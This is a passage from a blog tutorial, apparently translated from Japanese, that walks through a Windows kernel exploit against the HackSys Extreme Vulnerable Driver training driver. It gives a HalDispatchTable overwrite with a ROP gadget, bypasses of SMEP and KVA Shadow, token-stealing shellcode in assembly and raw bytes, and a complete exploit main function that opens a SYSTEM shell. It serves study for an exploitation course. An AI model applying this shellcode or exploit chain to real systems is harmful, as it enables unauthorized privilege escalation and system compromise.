1: kd> ? nt!HalDispatchTable+0x8 - nt
Evaluate expression: 12585576 = 00000000`00c00a68
  • Offset of nt!HalDispatchTable+0x8: 0xc00a68

The offset of the ROP gadget (jmp r13) is the value obtained by subtracting the base address (0x140000000) from the address output by rp++.

0x14080d5db: jmp r13 ; (1 found)
  • Offset of ROP gadget (jmp r13): 0x80d5db

Now we have all the necessary preparations.

Jumping to the ROP gadget

Overwrite HalDispatchTable+0x8 with ArbitraryWrite to modify the function pointer so that the ROP gadget (jmp r13) is executed.

const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);

const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

With this, we should be able to bypass Kernel-mode Address Check and hijack the control flow.

Execute the exploit while setting a breakpoint in WinDbg.

Set a breakpoint on the ROP gadget (jmp r13).

1: kd> bp nt+0x80d5db

Trigger the function pointer call by calling NtQueryIntervalProfile.

ULONG dummy = 0;
ntQueryIntervalProfileFunc(2, &dummy);

It hits the breakpoint we set earlier. Successfully called the ROP gadget.

Breakpoint 0 hit
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5 jmp r13

Checking the R13 register in this state, we can see that the address of the shellcode (280bb610000) is set as intended.

0: kd> r 
rax=fffff80081c0d5db rbx=000000d4216ffb20 rcx=0000000000000001
rdx=0000000000000018 rsi=0000000000000000 rdi=0000000000000001
rip=fffff80081c0d5db rsp=fffff283a770f428 rbp=fffff283a770f540
r8=fffff283a770f460 r9=fffff283a770f490 r10=fffff80081c0d5db
r11=0000000000000000 r12=0000000000000000 r13=00000280bb610000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040246
nt!CmpLinkHiveToMaster+0x1a037b:
fffff800`81c0d5db 4bffe5 jmp r13 {00000280`bb610000}

0: kd> u r13 L4
00000280`bb610000 90 nop
00000280`bb610001 90 nop
00000280`bb610002 90 nop
00000280`bb610003 cc int 3

Arbitrary code execution

If we continue the process, the dummy do-nothing shellcode (nop/nop/nop/int3) is executed.

0: kd> g
Break instruction exception - code 80000003 (first chance)
00000280`bb610003 cc int 3

Since it’s only nop and int3, nothing really happens except a break. However, under normal conditions, a BSOD should be triggered by security features before reaching int3.

The fact that we can execute nop and int3 in kernel mode without errors indicates that the security feature bypasses we've done so far are functioning as intended.

Now that arbitrary code execution has been achieved, all that remains is to program a shellcode that escalates privileges in kernel mode.

4. Executing the Token Stealing Shellcode

This time we’ll use a token stealing shellcode in the exploit.

The token stealing shellcode is a shellcode that elevates the privileges of an arbitrary process to SYSTEM privileges. This shellcode achieves privilege escalation by replacing an arbitrary process’s token with the SYSTEM process’s token.

Token Stealing Shellcode Processing

The following is an overview of the processing performed by the token stealing shellcode I created this time.

1. Obtain a pointer to _EPROCESS’s ActiveProcessLinks by following several pointers from _KPCR stored in the GS register

  • GS[0x180]_KPRCB
  • _KPRCB + 0x8CurrentThread
  • CurrentThread + 0xB8CurrentProcess
  • CurrentProcess + 0x448ActiveProcessLinks

2. Explore ActiveProcessLinks until the SYSTEM process is found

Check if the target process’s UniqueProcessId matches 0x04

  • UniqueProcessId != 0x04:

Not the SYSTEM process. Get a pointer to the next process and re-perform the UniqueProcessId check

  • UniqueProcessId == 0x04:

SYSTEM process found. Obtain the SYSTEM process’s token, overwrite CurrentProcess’s token with that value, and end processing

When the above processing is executed in kernel mode, the process currently executing in the thread is elevated to SYSTEM privileges.

Implementing the Token Stealing Shellcode

The following is an implementation of the above processing in assembly language:

BITS 64
global _start
section .text
SYSTEM_PID equ 0x04
; nt!_KPCR
Prcb equ 0x180
; nt!_KPRCB
CurrentThread equ 0x08
; nt!_KTHREAD
ApcState equ 0x98
; nt!_KAPC_STATE
Process equ 0x20
; nt!_EPROCESS
UniqueProcessId equ 0x440
ActiveProcessLinks equ 0x448
Token equ 0x4b8

_start:
; Retrieve a pointer to _ETHREAD from KPCR
mov rdx, qword [gs:Prcb + CurrentThread]

; Obtain a pointer to CurrentProcess
mov r8, [rdx + ApcState + Process]

; Move to the first process in the ActiveProcessLinks list
mov rcx, [r8 + ActiveProcessLinks]

.loop_find_system_proc:
; Get the UniqueProcessId
mov rdx, [rcx - ActiveProcessLinks + UniqueProcessId]

; Check if UniqueProcessId matches the SYSTEM process ID
cmp rdx, SYSTEM_PID
jz .found_system ; IF (SYSTEM process is found)

; Move to the next process
mov rcx, [rcx]
jmp .loop_find_system_proc ; Continue looping until the SYSTEM process is found

.found_system:
; Retrieve the token of the SYSTEM process
mov rax, [rcx - ActiveProcessLinks + Token]

; Mask the RefCnt (lower 4 bits) of the _EX_FAST_REF structure
and al, 0xF0

; Replace the CurrentProcess's token with the SYSTEM process's token
mov [r8 + Token], rax

; Clear r13 register
xor r13, r13

ret

TokenSteal.asm

Embedding in the Exploit

As with SetR13.asm, assemble the token stealing shellcode and embed it in the C source code.

nasm.exe -f bin -o .\TokenSteal.bin .\TokenSteal.asm
> python hex.py TokenSteal.bin
// size: 55
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};

Replace the dummy shellcode with the TokenSteal shellcode.

// unsigned char rawShellcode[] = {
// 0x90, 0x90, 0x90, 0xCC // nop, nop, nop, int3
// };

// TokenSteal.asm
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID executableShellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));
printf("[*] Executable shellcode: %p\n", executableShellcode);

With this, the token stealing shellcode should be executed in kernel mode.

Post-privilege escalation processing

In the current exploit, after the process is privilege escalated by the token stealing shellcode, the program ends without doing anything further.

As post-privilege escalation processing, let’s add code to launch cmd.exe as a child process.

system("start cmd.exe");

With this, after privilege escalation is completed, a new shell with SYSTEM privileges should launch.

Executing the Token Stealing Shellcode

Let’s run the exploit and confirm it functions as intended.

When the exploit is executed…

A new shell with SYSTEM privileges has launched!

Privilege escalation success.

KERNEL SECURITY CHECK FAILURE

However, a little while after running the exploit, a BSOD occurs.

The stop code is KERNEL_SECURITY_CHECK_FAILURE.

This stop code is one of the stop codes displayed when Windows’ kernel modification detection feature (Kernel Patch Protection) detects kernel modification. In other words, the above BSOD may have been triggered as a result of detecting modifications by the exploit.

5. Restoring Kernel State

Finally, as exploit cleanup, let’s restore the kernel state.

The kernel space data overwritten during the exploit are the following two:

  • Shellcode’s PML4E
  • HalDispatchTable+0x8

For the shellcode’s PML4E, since we leaked the original value midway through, it should be fine to reset that value after executing the shellcode.

ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);

For HalDispatchTable+0x8, the current code overwrites it without leaking the original value. Since we don't know the original value, let's add code to leak the original value with ArbitraryRead before overwriting.

PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
printf("[*] Leaked HalDispatchTable+0x8: %p\n", originalHalDispatchTable8);

After executing the shellcode, add processing to reset the original value to HalDispatchTable+0x8 with ArbitraryWrite.

ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

Making the above changes prevents BSOD from occurring after exploit execution.

This completes the exploit.

Exploit Code

The following is the main function of the Exploit Code created in this article:

int main(void)
{
HANDLE hHevd = GetHevdDeviceHandle();
PVOID kernelBaseAddress = GetKernelBaseAddress();

// TokenSteal.asm
unsigned char rawShellcode[] = {
0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x82,
0xb8, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x88, 0x48, 0x04, 0x00, 0x00, 0x48,
0x8b, 0x51, 0xf8, 0x48, 0x83, 0xfa, 0x04, 0x74, 0x05, 0x48, 0x8b, 0x09,
0xeb, 0xf1, 0x48, 0x8b, 0x41, 0x70, 0x24, 0xf0, 0x49, 0x89, 0x80, 0xb8,
0x04, 0x00, 0x00, 0x4d, 0x31, 0xed, 0xc3
};
PVOID shellcode = AllocExecutableCode(rawShellcode, sizeof(rawShellcode));

// SetR13.asm
unsigned char rawSetR13[] = {
0x49, 0x89, 0xcd, 0xc3
};
PVOID executableSetR13 = AllocExecutableCode(rawSetR13, sizeof(rawSetR13));

// 1. Bypassing PML4 Self-Reference Entry Randomization
const size_t MiGetPteAddress13_Offset = 0x26b573;
PVOID miGetPteAddress13_Address = (PVOID)((uintptr_t)kernelBaseAddress + MiGetPteAddress13_Offset);
PVOID pteVirtualAddress = ArbitraryRead(hHevd, miGetPteAddress13_Address);
unsigned int pml4SelfRef_Index = ExtractPml4Index(pteVirtualAddress);

// 2. Bypassing SMEP and KVA Shadow
unsigned int pml4Shellcode_Index = ExtractPml4Index(shellcode);
PVOID pml4Shellcode_VirtualAddress = CalculatePml4VirtualAddress(pml4SelfRef_Index, pml4Shellcode_Index);
uintptr_t originalPml4Shellcode_Entry = (uintptr_t)ArbitraryRead(hHevd, pml4Shellcode_VirtualAddress);
uintptr_t modifiedPml4Shellcode_Entry = ModifyPml4EntryForKernelMode(originalPml4Shellcode_Entry);
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &modifiedPml4Shellcode_Entry);

// 3. Bypassing Kernel-mode Address Check
const size_t HalDispatchTable8_Offset = 0xc00a68;
PVOID halDispatchTable8_Address = (PVOID)((uintptr_t)kernelBaseAddress + HalDispatchTable8_Offset);
PVOID originalHalDispatchTable8 = ArbitraryRead(hHevd, halDispatchTable8_Address);
const size_t JmpR13_Offset = 0x80d5db;
PVOID jmpR13_Address = (PVOID)((uintptr_t)kernelBaseAddress + JmpR13_Offset);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &jmpR13_Address); // jmp r13

// 4. Executing the Token Stealing Shellcode
HMODULE ntdll = GetModuleHandle("ntdll");
FARPROC ntQueryIntervalProfileFunc = GetProcAddress(ntdll, "NtQueryIntervalProfile");
ULONG dummy = 0;
((void (*)(PVOID))executableSetR13)(shellcode);
ntQueryIntervalProfileFunc(2, &dummy);

// 5. Restoring kernel state
ArbitraryWrite(hHevd, pml4Shellcode_VirtualAddress, &originalPml4Shellcode_Entry);
ArbitraryWrite(hHevd, halDispatchTable8_Address, &originalHalDispatchTable8);

// Obtaining a SYSTEM privileged shell
system("start cmd.exe");

return 0;
}

The full Exploit Code, including function definitions for ArbitraryWrite and ArbitraryRead, which are not included here, has been uploaded to the following GitHub repository:

Conclusion

In this article, I explained the process of developing an exploit that takes advantage of the arbitrary memory overwrite vulnerability in HackSys Extreme Vulnerable Driver (HEVD).

This article is based on keywords (*) that I picked from the syllabus of OffSec’s EXP-401: Advanced Windows Exploitation course. This time, I focused my investigation on keywords related to “5 Driver Callback Overwrite” and reorganized my findings under the theme of an HEVD exploit.

*SMEP, KVA Shadow, PML4 Self-Reference Entry Randomization, Token Stealing, etc.

To tell the truth, the main reason I wrote this article was to prepare for my participation in EXP-401/AWE.

In recent years, I’ve become hooked on obtaining OffSec certifications, and in July 2022, I obtained OSCE3.

Since the next step after OSCE3 is none other than OSEE, I’ve recently been advancing my self-study for EXP-401/AWE.

I hope this article proves useful to those interested in Windows kernel exploitation.

References

This article is an English translation of https://ommadawn46.hatenablog.com/entry/2024/01/30/101340.

--

--